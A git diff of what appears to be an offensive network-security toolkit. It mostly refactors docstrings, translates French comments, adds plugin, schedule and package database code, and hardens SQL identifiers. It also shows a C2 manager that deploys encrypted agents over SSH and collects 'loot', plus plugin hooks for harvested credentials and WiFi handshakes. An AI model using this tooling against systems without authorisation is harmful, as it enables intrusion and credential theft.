while not self._stop_event.is_set(): while not self._stop_event.is_set():
try: try:
events = self.bettercap.events() events = self.bettercap.events()

View File

@@ -1,5 +1,5 @@
""" """automata.py - Bifrost mood state machine.
Bifrost — Mood state machine.
Ported from pwnagotchi/automata.py. Ported from pwnagotchi/automata.py.
""" """
import logging import logging

View File

@@ -1,5 +1,5 @@
""" """bettercap.py - Bifrost bettercap REST API client.
Bifrost — Bettercap REST API client.
Ported from pwnagotchi/bettercap.py using urllib (no requests dependency). Ported from pwnagotchi/bettercap.py using urllib (no requests dependency).
""" """
import json import json
@@ -54,16 +54,16 @@ class BettercapClient:
raise Exception("bettercap unreachable: %s" % e.reason) raise Exception("bettercap unreachable: %s" % e.reason)
def session(self): def session(self):
"""GET /api/session current bettercap state.""" """GET /api/session - current bettercap state."""
return self._request('GET', '/session') return self._request('GET', '/session')
def run(self, command, verbose_errors=True): def run(self, command, verbose_errors=True):
"""POST /api/session execute a bettercap command.""" """POST /api/session - execute a bettercap command."""
return self._request('POST', '/session', {'cmd': command}, return self._request('POST', '/session', {'cmd': command},
verbose_errors=verbose_errors) verbose_errors=verbose_errors)
def events(self): def events(self):
"""GET /api/events poll recent events (REST fallback).""" """GET /api/events - poll recent events (REST fallback)."""
try: try:
result = self._request('GET', '/events', verbose_errors=False) result = self._request('GET', '/events', verbose_errors=False)
# Clear after reading so we don't reprocess # Clear after reading so we don't reprocess
@@ -80,7 +80,7 @@ class BettercapClient:
Args: Args:
consumer: async callable that receives each message string. consumer: async callable that receives each message string.
stop_event: optional threading.Event exit when set. stop_event: optional threading.Event - exit when set.
""" """
import websockets import websockets
import asyncio import asyncio
@@ -99,5 +99,5 @@ class BettercapClient:
except Exception as ex: except Exception as ex:
if stop_event and stop_event.is_set(): if stop_event and stop_event.is_set():
return return
logger.debug("Websocket error: %s reconnecting...", ex) logger.debug("Websocket error: %s - reconnecting...", ex)
await asyncio.sleep(2) await asyncio.sleep(2)

View File

@@ -1,7 +1,6 @@
""" """compat.py - Pwnagotchi compatibility shim.
Bifrost — Pwnagotchi compatibility shim.
Registers `pwnagotchi` in sys.modules so existing plugins can Registers `pwnagotchi` in sys.modules so existing plugins resolve to Bifrost.
`import pwnagotchi` and get Bifrost-backed implementations.
""" """
import sys import sys
import time import time
@@ -56,7 +55,7 @@ def install_shim(shared_data, bifrost_plugins_module):
return 0.0 return 0.0
def _reboot(): def _reboot():
pass # no-op in Bifrost we don't auto-reboot pass # no-op in Bifrost - we don't auto-reboot
pwn.name = _name pwn.name = _name
pwn.set_name = _set_name pwn.set_name = _set_name

View File

@@ -1,5 +1,5 @@
""" """epoch.py - Bifrost epoch tracking and reward signals.
Bifrost — Epoch tracking.
Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py. Ported from pwnagotchi/ai/epoch.py + pwnagotchi/ai/reward.py.
""" """
import time import time
@@ -17,7 +17,7 @@ NUM_CHANNELS = 14 # 2.4 GHz channels
# ── Reward function (from pwnagotchi/ai/reward.py) ────────────── # ── Reward function (from pwnagotchi/ai/reward.py) ──────────────
class RewardFunction: class RewardFunction:
"""Reward signal for RL higher is better.""" """Reward signal for RL - higher is better."""
def __call__(self, epoch_n, state): def __call__(self, epoch_n, state):
eps = 1e-20 eps = 1e-20
@@ -181,7 +181,7 @@ class BifrostEpoch:
self.num_slept += inc self.num_slept += inc
def next(self): def next(self):
"""Transition to next epoch compute reward, update streaks, reset counters.""" """Transition to next epoch - compute reward, update streaks, reset counters."""
# Update activity streaks # Update activity streaks
if not self.any_activity and not self.did_handshakes: if not self.any_activity and not self.did_handshakes:
self.inactive_for += 1 self.inactive_for += 1

View File

@@ -1,5 +1,5 @@
""" """faces.py - Bifrost ASCII face definitions.
Bifrost — ASCII face definitions.
Ported from pwnagotchi/ui/faces.py with full face set. Ported from pwnagotchi/ui/faces.py with full face set.
""" """

View File

@@ -1,7 +1,6 @@
""" """plugins.py - Bifrost plugin system.
Bifrost — Plugin system.
Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor. Ported from pwnagotchi/plugins/__init__.py with ThreadPoolExecutor.
Compatible with existing pwnagotchi plugin files.
""" """
import os import os
import glob import glob
@@ -130,7 +129,7 @@ def load_from_path(path, enabled=()):
if not path or not os.path.isdir(path): if not path or not os.path.isdir(path):
return loaded return loaded
logger.debug("loading plugins from %s enabled: %s", path, enabled) logger.debug("loading plugins from %s - enabled: %s", path, enabled)
for filename in glob.glob(os.path.join(path, "*.py")): for filename in glob.glob(os.path.join(path, "*.py")):
plugin_name = os.path.basename(filename.replace(".py", "")) plugin_name = os.path.basename(filename.replace(".py", ""))
database[plugin_name] = filename database[plugin_name] = filename

View File

@@ -1,5 +1,5 @@
""" """voice.py - Bifrost voice / status messages.
Bifrost — Voice / status messages.
Ported from pwnagotchi/voice.py, uses random choice for personality. Ported from pwnagotchi/voice.py, uses random choice for personality.
""" """
import random import random

156
bjorn_plugin.py Normal file
View File

@@ -0,0 +1,156 @@
"""bjorn_plugin.py - Base class and helpers for Bjorn plugins."""
import logging
from typing import Any, Dict, Optional
from logger import Logger
class PluginLogger:
"""Per-plugin logger that prefixes all messages with the plugin ID.
Caches Logger instances by name to prevent handler accumulation on reload."""
_cache: dict = {} # class-level cache: name -> Logger instance
def __init__(self, plugin_id: str):
name = f"plugin.{plugin_id}"
if name not in PluginLogger._cache:
PluginLogger._cache[name] = Logger(name=name, level=logging.DEBUG)
self._logger = PluginLogger._cache[name]
def info(self, msg: str):
self._logger.info(msg)
def warning(self, msg: str):
self._logger.warning(msg)
def error(self, msg: str):
self._logger.error(msg)
def debug(self, msg: str):
self._logger.debug(msg)
def success(self, msg: str):
self._logger.success(msg)
class BjornPlugin:
"""
Base class every Bjorn plugin must extend.
Provides:
- Access to shared_data, database, and config
- Convenience wrappers for status/progress/comment
- Hook methods to override for event-driven behavior
- Standard action interface (execute) for action-type plugins
Usage:
class MyPlugin(BjornPlugin):
def setup(self):
self.log.info("Ready!")
def on_credential_found(self, cred):
self.log.info(f"New cred: {cred}")
"""
def __init__(self, shared_data, meta: dict, config: dict):
"""
Args:
shared_data: The global SharedData singleton.
meta: Parsed plugin.json manifest.
config: User-editable config values (from DB, merged with schema defaults).
"""
self.shared_data = shared_data
self.meta = meta
self.config = config
self.db = shared_data.db
self.log = PluginLogger(meta.get("id", "unknown"))
self.timeout = (meta.get("action") or {}).get("timeout", 300)
self._plugin_id = meta.get("id", "unknown")
# ── Convenience wrappers ─────────────────────────────────────────
def set_progress(self, pct: str):
"""Update the global progress indicator (e.g., '42%')."""
self.shared_data.bjorn_progress = pct
def set_status(self, text: str):
"""Update the main status text shown on display and web UI."""
self.shared_data.bjorn_status_text = text
def set_comment(self, **params):
"""Update the EPD comment parameters."""
self.shared_data.comment_params = params
# ── Lifecycle ────────────────────────────────────────────────────
def setup(self) -> None:
"""Called once when the plugin is loaded. Override to initialize resources."""
pass
def teardown(self) -> None:
"""Called when the plugin is unloaded or Bjorn shuts down. Override to cleanup."""
pass
# ── Action interface (type="action" plugins only) ────────────────
def execute(self, ip: str, port: str, row: dict, status_key: str) -> str:
"""
Called by the orchestrator for action-type plugins.
Args:
ip: Target IP address.
port: Target port (may be empty string).
row: Dict with keys: MAC Address, IPs, Ports, Alive.
status_key: Action class name (for status tracking).
Returns:
'success' or 'failed' (string, case-sensitive).
"""
raise NotImplementedError(
f"Plugin {self._plugin_id} is type='action' but does not implement execute()"
)
# ── Hook methods (override selectively) ──────────────────────────
def on_host_discovered(self, host: dict) -> None:
"""Hook: called when a new host is found by the scanner.
Args:
host: Dict with mac_address, ips, hostnames, vendor, etc.
"""
pass
def on_credential_found(self, cred: dict) -> None:
"""Hook: called when new credentials are discovered.
Args:
cred: Dict with service, mac, ip, user, password, port.
"""
pass
def on_vulnerability_found(self, vuln: dict) -> None:
"""Hook: called when a new vulnerability is found.
Args:
vuln: Dict with ip, port, cve_id, severity, description.
"""
pass
def on_action_complete(self, action_name: str, success: bool, target: dict) -> None:
"""Hook: called after any action finishes execution.
Args:
action_name: The b_class of the action that completed.
success: True if action returned 'success'.
target: Dict with mac, ip, port.
"""
pass
def on_scan_complete(self, results: dict) -> None:
"""Hook: called after a network scan cycle finishes.
Args:
results: Dict with hosts_found, new_hosts, scan_duration, etc.
"""
pass

View File

@@ -1,8 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """c2_manager.py - Command & Control server for multi-agent coordination over SSH."""
c2_manager.py — Professional Command & Control Server
"""
# ==== Stdlib ==== # ==== Stdlib ====
import base64 import base64
@@ -28,7 +26,7 @@ import paramiko
from cryptography.fernet import Fernet, InvalidToken from cryptography.fernet import Fernet, InvalidToken
# ==== Project ==== # ==== Project ====
from init_shared import shared_data # requis (non optionnel) from init_shared import shared_data # required
from logger import Logger from logger import Logger
# ----------------------------------------------------- # -----------------------------------------------------
@@ -38,19 +36,15 @@ BASE_DIR = Path(__file__).resolve().parent
def _resolve_data_root() -> Path: def _resolve_data_root() -> Path:
""" """
Résout le répertoire racine des données pour le C2, sans crasher Resolve C2 data root directory without crashing if shared_data isn't ready.
si shared_data n'a pas encore data_dir prêt. Priority: shared_data.data_dir > $BJORN_DATA_DIR > BASE_DIR (local fallback)
Ordre de priorité :
1) shared_data.data_dir si présent
2) $BJORN_DATA_DIR si défini
3) BASE_DIR (fallback local)
""" """
sd_dir = getattr(shared_data, "data_dir", None) sd_dir = getattr(shared_data, "data_dir", None)
if sd_dir: if sd_dir:
try: try:
return Path(sd_dir) return Path(sd_dir)
except Exception: except Exception:
pass # garde un fallback propre pass # clean fallback
env_dir = os.getenv("BJORN_DATA_DIR") env_dir = os.getenv("BJORN_DATA_DIR")
if env_dir: if env_dir:
@@ -63,22 +57,20 @@ def _resolve_data_root() -> Path:
DATA_ROOT: Path = _resolve_data_root() DATA_ROOT: Path = _resolve_data_root()
# Sous-dossiers C2 # C2 subdirectories
DATA_DIR: Path = DATA_ROOT / "c2_data" DATA_DIR: Path = DATA_ROOT / "c2_data"
LOOT_DIR: Path = DATA_DIR / "loot" LOOT_DIR: Path = DATA_DIR / "loot"
CLIENTS_DIR: Path = DATA_DIR / "clients" CLIENTS_DIR: Path = DATA_DIR / "clients"
LOGS_DIR: Path = DATA_DIR / "logs" LOGS_DIR: Path = DATA_DIR / "logs"
# Timings # Timings
HEARTBEAT_INTERVAL: int = 20 # secondes HEARTBEAT_INTERVAL: int = 20 # seconds
OFFLINE_THRESHOLD: int = HEARTBEAT_INTERVAL * 3 # 60s sans heartbeat OFFLINE_THRESHOLD: int = HEARTBEAT_INTERVAL * 3 # 60s sans heartbeat
# Création arborescence (idempotente) — OK à l'import, coût faible # Create directory tree (idempotent) - safe at import time, low cost
for directory in (DATA_DIR, LOOT_DIR, CLIENTS_DIR, LOGS_DIR): for directory in (DATA_DIR, LOOT_DIR, CLIENTS_DIR, LOGS_DIR):
directory.mkdir(parents=True, exist_ok=True) directory.mkdir(parents=True, exist_ok=True)
# (Optionnel) Prépare un logger si besoin tout de suite
# logger = Logger("c2_manager").get_logger()
@@ -137,7 +129,7 @@ class EventBus:
# ============= Client Templates ============= # ============= Client Templates =============
CLIENT_TEMPLATES = { CLIENT_TEMPLATES = {
'universal': Template(r"""#!/usr/bin/env python3 'universal': Template(r"""#!/usr/bin/env python3
# Lab client (Zombieland) use only in controlled environments # Lab client (Zombieland) - use only in controlled environments
import socket, json, os, platform, subprocess, threading, time, base64, struct, sys import socket, json, os, platform, subprocess, threading, time, base64, struct, sys
from pathlib import Path from pathlib import Path
@@ -924,7 +916,7 @@ class C2Manager:
lab_user: str = "testuser", lab_password: str = "testpass") -> dict: lab_user: str = "testuser", lab_password: str = "testpass") -> dict:
"""Generate new client script""" """Generate new client script"""
try: try:
# Generate Fernet key (base64) and l'enregistrer en DB (rotation si besoin) # Generate Fernet key (base64) and store in DB (rotate if existing)
key_b64 = Fernet.generate_key().decode() key_b64 = Fernet.generate_key().decode()
if self.db.get_active_key(client_id): if self.db.get_active_key(client_id):
self.db.rotate_key(client_id, key_b64) self.db.rotate_key(client_id, key_b64)
@@ -969,7 +961,7 @@ class C2Manager:
ssh_pass: str, **kwargs) -> dict: ssh_pass: str, **kwargs) -> dict:
"""Deploy client via SSH""" """Deploy client via SSH"""
try: try:
# S'assurer qu'une clé active existe (sinon générer le client) # Ensure an active key exists (generate client otherwise)
if not self.db.get_active_key(client_id): if not self.db.get_active_key(client_id):
result = self.generate_client( result = self.generate_client(
client_id, client_id,
@@ -1028,7 +1020,7 @@ class C2Manager:
if client_id in self._clients: if client_id in self._clients:
self._disconnect_client(client_id) self._disconnect_client(client_id)
# Révoquer les clés actives en DB # Revoke active keys in DB
try: try:
self.db.revoke_keys(client_id) self.db.revoke_keys(client_id)
except Exception as e: except Exception as e:
@@ -1095,7 +1087,7 @@ class C2Manager:
client_id = client_id_bytes.decode().strip() client_id = client_id_bytes.decode().strip()
# Récupérer la clé active depuis la DB # Retrieve the active key from DB
active_key = self.db.get_active_key(client_id) active_key = self.db.get_active_key(client_id)
if not active_key: if not active_key:
self.logger.warning(f"Unknown client or no active key: {client_id} from {addr[0]}") self.logger.warning(f"Unknown client or no active key: {client_id} from {addr[0]}")
@@ -1163,7 +1155,7 @@ class C2Manager:
break break
self._process_client_message(client_id, data) self._process_client_message(client_id, data)
except OSError as e: except OSError as e:
# socket fermé (remove_client) → on sort sans bruit # Socket closed (remove_client) - exit silently
break break
except Exception as e: except Exception as e:
self.logger.error(f"Client loop error for {client_id}: {e}") self.logger.error(f"Client loop error for {client_id}: {e}")
@@ -1248,13 +1240,13 @@ class C2Manager:
self._handle_loot(client_id, data['download']) self._handle_loot(client_id, data['download'])
elif 'result' in data: elif 'result' in data:
# >>> ici on enregistre avec la vraie commande # Store result with the actual command
self.db.save_command(client_id, last_cmd or '<unknown>', result, True) self.db.save_command(client_id, last_cmd or '<unknown>', result, True)
self.bus.emit({"type": "console", "target": client_id, "text": str(result), "kind": "RX"}) self.bus.emit({"type": "console", "target": client_id, "text": str(result), "kind": "RX"})
elif 'error' in data: elif 'error' in data:
error = data['error'] error = data['error']
# >>> idem pour error # Same for errors
self.db.save_command(client_id, last_cmd or '<unknown>', error, False) self.db.save_command(client_id, last_cmd or '<unknown>', error, False)
self.bus.emit({"type": "console", "target": client_id, "text": f"ERROR: {error}", "kind": "RX"}) self.bus.emit({"type": "console", "target": client_id, "text": f"ERROR: {error}", "kind": "RX"})
@@ -1308,10 +1300,10 @@ class C2Manager:
with self._lock: with self._lock:
client = self._clients.get(client_id) client = self._clients.get(client_id)
if client: if client:
# signale aux boucles de s'arrêter proprement # Signal loops to stop cleanly
client['info']['closing'] = True client['info']['closing'] = True
# fermer proprement le socket # Cleanly close the socket
try: try:
client['sock'].shutdown(socket.SHUT_RDWR) client['sock'].shutdown(socket.SHUT_RDWR)
except Exception: except Exception:

View File

@@ -1,8 +1,4 @@
# comment.py """comment.py - Contextual display messages with DB-backed templates and i18n support."""
# Comments manager with database backend
# Provides contextual messages for display with timing control and multilingual support.
# comment = ai.get_comment("SSHBruteforce", params={"user": "pi", "ip": "192.168.0.12"})
# Avec un texte DB du style: "Trying {user}@{ip} over SSH..."
import os import os
import time import time
@@ -154,34 +150,41 @@ class CommentAI:
# --- Bootstrapping DB ----------------------------------------------------- # --- Bootstrapping DB -----------------------------------------------------
def _ensure_comments_loaded(self): def _ensure_comments_loaded(self):
"""Ensure comments are present in DB; import JSON if empty.""" """Import all comments.*.json files on every startup (dedup via UNIQUE index)."""
try: import glob as _glob
comment_count = int(self.shared_data.db.count_comments())
except Exception as e:
logger.error(f"Database error counting comments: {e}")
comment_count = 0
if comment_count > 0: default_dir = getattr(self.shared_data, "default_comments_dir", "") or ""
logger.debug(f"Comments already in database: {comment_count}") if not default_dir or not os.path.isdir(default_dir):
logger.debug("No default_comments_dir, seeding minimal fallback set")
self._seed_minimal_comments()
return return
# Glob all comments JSON files: comments.en.json, comments.fr.json, etc.
pattern = os.path.join(default_dir, "comments.*.json")
json_files = sorted(_glob.glob(pattern))
# Also check for a bare comments.json
bare = os.path.join(default_dir, "comments.json")
if os.path.exists(bare) and bare not in json_files:
json_files.insert(0, bare)
imported = 0 imported = 0
for lang in self._lang_priority(): for json_path in json_files:
for json_path in self._get_comments_json_paths(lang):
if os.path.exists(json_path):
try: try:
count = int(self.shared_data.db.import_comments_from_json(json_path)) count = int(self.shared_data.db.import_comments_from_json(json_path))
imported += count imported += count
if count > 0: if count > 0:
logger.info(f"Imported {count} comments (auto-detected lang) from {json_path}") logger.info(f"Imported {count} comments from {json_path}")
break # stop at first successful import
except Exception as e: except Exception as e:
logger.error(f"Failed to import comments from {json_path}: {e}") logger.error(f"Failed to import comments from {json_path}: {e}")
if imported > 0:
break
if imported == 0: if imported == 0:
logger.debug("No comments imported, seeding minimal fallback set") # Nothing new imported - check if DB is empty and seed fallback
try:
if int(self.shared_data.db.count_comments()) == 0:
logger.debug("No comments in DB, seeding minimal fallback set")
self._seed_minimal_comments()
except Exception:
self._seed_minimal_comments() self._seed_minimal_comments()

View File

@@ -1,21 +1,4 @@
""" """data_consolidator.py - Aggregate logged features into training-ready datasets for export."""
data_consolidator.py - Data Consolidation Engine for Deep Learning
═══════════════════════════════════════════════════════════════════════════
Purpose:
Consolidate logged features into training-ready datasets.
Prepare data exports for deep learning on external PC.
Features:
- Aggregate features across time windows
- Compute statistical features
- Create feature vectors for neural networks
- Export in formats ready for TensorFlow/PyTorch
- Incremental consolidation (low memory footprint)
Author: Bjorn Team
Version: 2.0.0
"""
import json import json
import csv import csv
@@ -195,7 +178,7 @@ class DataConsolidator:
Computes statistical features and feature vectors. Computes statistical features and feature vectors.
""" """
try: try:
# Parse JSON fields once reused by _build_feature_vector to avoid double-parsing # Parse JSON fields once - reused by _build_feature_vector to avoid double-parsing
host_features = json.loads(record.get('host_features', '{}')) host_features = json.loads(record.get('host_features', '{}'))
network_features = json.loads(record.get('network_features', '{}')) network_features = json.loads(record.get('network_features', '{}'))
temporal_features = json.loads(record.get('temporal_features', '{}')) temporal_features = json.loads(record.get('temporal_features', '{}'))
@@ -209,7 +192,7 @@ class DataConsolidator:
**action_features **action_features
} }
# Build numerical feature vector pass already-parsed dicts to avoid re-parsing # Build numerical feature vector - pass already-parsed dicts to avoid re-parsing
feature_vector = self._build_feature_vector( feature_vector = self._build_feature_vector(
host_features, network_features, temporal_features, action_features host_features, network_features, temporal_features, action_features
) )
@@ -484,7 +467,7 @@ class DataConsolidator:
else: else:
raise ValueError(f"Unsupported format: {format}") raise ValueError(f"Unsupported format: {format}")
# Free the large records list immediately after export record_ids is all we still need # Free the large records list immediately after export - record_ids is all we still need
del records del records
# AI-01: Write feature manifest with variance-filtered feature names # AI-01: Write feature manifest with variance-filtered feature names

View File

@@ -1,6 +1,4 @@
# database.py """database.py - Main database facade, delegates to specialized modules in db_utils/."""
# Main database facade - delegates to specialized modules in db_utils/
# Maintains backward compatibility with existing code
import os import os
from typing import Any, Dict, Iterable, List, Optional, Tuple from typing import Any, Dict, Iterable, List, Optional, Tuple
@@ -29,6 +27,9 @@ from db_utils.webenum import WebEnumOps
from db_utils.sentinel import SentinelOps from db_utils.sentinel import SentinelOps
from db_utils.bifrost import BifrostOps from db_utils.bifrost import BifrostOps
from db_utils.loki import LokiOps from db_utils.loki import LokiOps
from db_utils.schedules import ScheduleOps
from db_utils.packages import PackageOps
from db_utils.plugins import PluginOps
logger = Logger(name="database.py", level=logging.DEBUG) logger = Logger(name="database.py", level=logging.DEBUG)
@@ -67,6 +68,9 @@ class BjornDatabase:
self._sentinel = SentinelOps(self._base) self._sentinel = SentinelOps(self._base)
self._bifrost = BifrostOps(self._base) self._bifrost = BifrostOps(self._base)
self._loki = LokiOps(self._base) self._loki = LokiOps(self._base)
self._schedules = ScheduleOps(self._base)
self._packages = PackageOps(self._base)
self._plugins = PluginOps(self._base)
# Ensure schema is created # Ensure schema is created
self.ensure_schema() self.ensure_schema()
@@ -147,6 +151,9 @@ class BjornDatabase:
self._sentinel.create_tables() self._sentinel.create_tables()
self._bifrost.create_tables() self._bifrost.create_tables()
self._loki.create_tables() self._loki.create_tables()
self._schedules.create_tables()
self._packages.create_tables()
self._plugins.create_tables()
# Initialize stats singleton # Initialize stats singleton
self._stats.ensure_stats_initialized() self._stats.ensure_stats_initialized()
@@ -392,6 +399,43 @@ class BjornDatabase:
def delete_script(self, name: str) -> None: def delete_script(self, name: str) -> None:
return self._scripts.delete_script(name) return self._scripts.delete_script(name)
# Schedule operations
def add_schedule(self, *a, **kw): return self._schedules.add_schedule(*a, **kw)
def update_schedule(self, *a, **kw): return self._schedules.update_schedule(*a, **kw)
def delete_schedule(self, *a, **kw): return self._schedules.delete_schedule(*a, **kw)
def list_schedules(self, *a, **kw): return self._schedules.list_schedules(*a, **kw)
def get_schedule(self, *a, **kw): return self._schedules.get_schedule(*a, **kw)
def get_due_schedules(self): return self._schedules.get_due_schedules()
def mark_schedule_run(self, *a, **kw): return self._schedules.mark_schedule_run(*a, **kw)
def toggle_schedule(self, *a, **kw): return self._schedules.toggle_schedule(*a, **kw)
# Trigger operations
def add_trigger(self, *a, **kw): return self._schedules.add_trigger(*a, **kw)
def update_trigger(self, *a, **kw): return self._schedules.update_trigger(*a, **kw)
def delete_trigger(self, *a, **kw): return self._schedules.delete_trigger(*a, **kw)
def list_triggers(self, *a, **kw): return self._schedules.list_triggers(*a, **kw)
def get_trigger(self, *a, **kw): return self._schedules.get_trigger(*a, **kw)
def get_active_triggers(self): return self._schedules.get_active_triggers()
def mark_trigger_fired(self, *a, **kw): return self._schedules.mark_trigger_fired(*a, **kw)
def is_trigger_on_cooldown(self, *a, **kw): return self._schedules.is_trigger_on_cooldown(*a, **kw)
# Package operations
def add_package(self, *a, **kw): return self._packages.add_package(*a, **kw)
def remove_package(self, *a, **kw): return self._packages.remove_package(*a, **kw)
def list_packages(self): return self._packages.list_packages()
def get_package(self, *a, **kw): return self._packages.get_package(*a, **kw)
# Plugin operations
def get_plugin_config(self, *a, **kw): return self._plugins.get_plugin_config(*a, **kw)
def save_plugin_config(self, *a, **kw): return self._plugins.save_plugin_config(*a, **kw)
def upsert_plugin(self, *a, **kw): return self._plugins.upsert_plugin(*a, **kw)
def delete_plugin(self, *a, **kw): return self._plugins.delete_plugin(*a, **kw)
def list_plugins_db(self): return self._plugins.list_plugins()
def set_plugin_enabled(self, *a, **kw): return self._plugins.set_plugin_enabled(*a, **kw)
def set_plugin_hooks(self, *a, **kw): return self._plugins.set_plugin_hooks(*a, **kw)
def get_hooks_for_event(self, *a, **kw): return self._plugins.get_hooks_for_event(*a, **kw)
def get_hooks_for_plugin(self, *a, **kw): return self._plugins.get_hooks_for_plugin(*a, **kw)
# Stats operations # Stats operations
def get_livestats(self) -> Dict[str, int]: def get_livestats(self) -> Dict[str, int]:
return self._stats.get_livestats() return self._stats.get_livestats()

View File

@@ -1,5 +1,4 @@
# db_utils/__init__.py """__init__.py - Database utilities package."""
# Database utilities package
from .base import DatabaseBase from .base import DatabaseBase
from .config import ConfigOps from .config import ConfigOps
@@ -17,6 +16,8 @@ from .comments import CommentOps
from .agents import AgentOps from .agents import AgentOps
from .studio import StudioOps from .studio import StudioOps
from .webenum import WebEnumOps from .webenum import WebEnumOps
from .schedules import ScheduleOps
from .packages import PackageOps
__all__ = [ __all__ = [
'DatabaseBase', 'DatabaseBase',
@@ -35,4 +36,6 @@ __all__ = [
'AgentOps', 'AgentOps',
'StudioOps', 'StudioOps',
'WebEnumOps', 'WebEnumOps',
'ScheduleOps',
'PackageOps',
] ]

View File

@@ -1,5 +1,4 @@
# db_utils/actions.py """actions.py - Action definition and management operations."""
# Action definition and management operations
import json import json
import sqlite3 import sqlite3
@@ -256,7 +255,7 @@ class ActionOps:
out = [] out = []
for r in rows: for r in rows:
cls = r["b_class"] cls = r["b_class"]
enabled = int(r["b_enabled"]) # 0 reste 0 enabled = int(r["b_enabled"])
out.append({ out.append({
"name": cls, "name": cls,
"image": f"/actions/actions_icons/{cls}.png", "image": f"/actions/actions_icons/{cls}.png",

View File

@@ -1,5 +1,4 @@
# db_utils/agents.py """agents.py - C2 agent management operations."""
# C2 (Command & Control) agent management operations
import json import json
import os import os

View File

@@ -1,5 +1,4 @@
# db_utils/backups.py """backups.py - Backup registry and management operations."""
# Backup registry and management operations
from typing import Any, Dict, List from typing import Any, Dict, List
import logging import logging

View File

@@ -1,6 +1,6 @@
# db_utils/base.py """base.py - Base database connection and transaction management."""
# Base database connection and transaction management
import re
import sqlite3 import sqlite3
import time import time
from contextlib import contextmanager from contextlib import contextmanager
@@ -12,6 +12,16 @@ from logger import Logger
logger = Logger(name="db_utils.base", level=logging.DEBUG) logger = Logger(name="db_utils.base", level=logging.DEBUG)
# Regex for valid SQLite identifiers: alphanumeric + underscore, must start with letter/underscore
_SAFE_IDENT_RE = re.compile(r'^[A-Za-z_][A-Za-z0-9_]*$')
def _validate_identifier(name: str, kind: str = "identifier") -> str:
"""Validate that a SQL identifier (table/column name) is safe against injection."""
if not name or not _SAFE_IDENT_RE.match(name):
raise ValueError(f"Invalid SQL {kind}: {name!r}")
return name
class DatabaseBase: class DatabaseBase:
""" """
@@ -120,12 +130,15 @@ class DatabaseBase:
def _column_names(self, table: str) -> List[str]: def _column_names(self, table: str) -> List[str]:
"""Return a list of column names for a given table (empty if table missing)""" """Return a list of column names for a given table (empty if table missing)"""
_validate_identifier(table, "table name")
with self._cursor() as c: with self._cursor() as c:
c.execute(f"PRAGMA table_info({table});") c.execute(f"PRAGMA table_info({table});")
return [r[1] for r in c.fetchall()] return [r[1] for r in c.fetchall()]
def _ensure_column(self, table: str, column: str, ddl: str) -> None: def _ensure_column(self, table: str, column: str, ddl: str) -> None:
"""Add a column with the provided DDL if it does not exist yet""" """Add a column with the provided DDL if it does not exist yet"""
_validate_identifier(table, "table name")
_validate_identifier(column, "column name")
cols = self._column_names(table) if self._table_exists(table) else [] cols = self._column_names(table) if self._table_exists(table) else []
if column not in cols: if column not in cols:
self.execute(f"ALTER TABLE {table} ADD COLUMN {ddl};") self.execute(f"ALTER TABLE {table} ADD COLUMN {ddl};")
@@ -134,13 +147,15 @@ class DatabaseBase:
# MAINTENANCE OPERATIONS # MAINTENANCE OPERATIONS
# ========================================================================= # =========================================================================
_VALID_CHECKPOINT_MODES = {"PASSIVE", "FULL", "RESTART", "TRUNCATE"}
def checkpoint(self, mode: str = "TRUNCATE") -> Tuple[int, int, int]: def checkpoint(self, mode: str = "TRUNCATE") -> Tuple[int, int, int]:
""" """
Force a WAL checkpoint. Returns (busy, log_frames, checkpointed_frames). Force a WAL checkpoint. Returns (busy, log_frames, checkpointed_frames).
mode ∈ {PASSIVE, FULL, RESTART, TRUNCATE} mode ∈ {PASSIVE, FULL, RESTART, TRUNCATE}
""" """
mode = (mode or "PASSIVE").upper() mode = (mode or "PASSIVE").upper()
if mode not in {"PASSIVE", "FULL", "RESTART", "TRUNCATE"}: if mode not in self._VALID_CHECKPOINT_MODES:
mode = "PASSIVE" mode = "PASSIVE"
with self._cursor() as c: with self._cursor() as c:
c.execute(f"PRAGMA wal_checkpoint({mode});") c.execute(f"PRAGMA wal_checkpoint({mode});")

View File

@@ -1,6 +1,4 @@
""" """bifrost.py - Networks, handshakes, epochs, activity, peers, plugin data."""
Bifrost DB operations — networks, handshakes, epochs, activity, peers, plugin data.
"""
import logging import logging
from logger import Logger from logger import Logger
@@ -89,7 +87,7 @@ class BifrostOps:
"ON bifrost_activity(timestamp DESC)" "ON bifrost_activity(timestamp DESC)"
) )
# Peers (mesh networking Phase 2) # Peers (mesh networking - Phase 2)
self.base.execute(""" self.base.execute("""
CREATE TABLE IF NOT EXISTS bifrost_peers ( CREATE TABLE IF NOT EXISTS bifrost_peers (
peer_id TEXT PRIMARY KEY, peer_id TEXT PRIMARY KEY,

View File

@@ -1,5 +1,4 @@
# db_utils/comments.py """comments.py - Comment and status message operations."""
# Comment and status message operations
import json import json
import os import os

View File

@@ -1,5 +1,4 @@
# db_utils/config.py """config.py - Configuration management operations."""
# Configuration management operations
import json import json
import ast import ast

View File

@@ -1,5 +1,4 @@
# db_utils/credentials.py """credentials.py - Credential storage and management operations."""
# Credential storage and management operations
import json import json
import sqlite3 import sqlite3

View File

@@ -1,9 +1,9 @@
# db_utils/hosts.py """hosts.py - Host and network device management operations."""
# Host and network device management operations
import time import time
import sqlite3 import sqlite3
from typing import Any, Dict, Iterable, List, Optional from typing import Any, Dict, Iterable, List, Optional
from db_utils.base import _validate_identifier
import logging import logging
from logger import Logger from logger import Logger
@@ -428,6 +428,7 @@ class HostOps:
if tname == 'hosts': if tname == 'hosts':
continue continue
try: try:
_validate_identifier(tname, "table name")
cur.execute(f"PRAGMA table_info({tname})") cur.execute(f"PRAGMA table_info({tname})")
cols = [r[1].lower() for r in cur.fetchall()] cols = [r[1].lower() for r in cur.fetchall()]
if 'mac_address' in cols: if 'mac_address' in cols:

View File

@@ -1,6 +1,4 @@
""" """loki.py - HID script and job tracking operations."""
Loki DB operations — HID scripts and job tracking.
"""
import logging import logging
from logger import Logger from logger import Logger

54
db_utils/packages.py Normal file
View File

@@ -0,0 +1,54 @@
"""packages.py - Custom package tracking operations."""
import logging
from typing import Any, Dict, List, Optional
from logger import Logger
logger = Logger(name="db_utils.packages", level=logging.DEBUG)
class PackageOps:
"""Custom package management operations"""
def __init__(self, base):
self.base = base
def create_tables(self):
"""Create custom_packages table"""
self.base.execute("""
CREATE TABLE IF NOT EXISTS custom_packages (
name TEXT PRIMARY KEY,
version TEXT,
installed_at TEXT DEFAULT CURRENT_TIMESTAMP,
installed_by TEXT DEFAULT 'user'
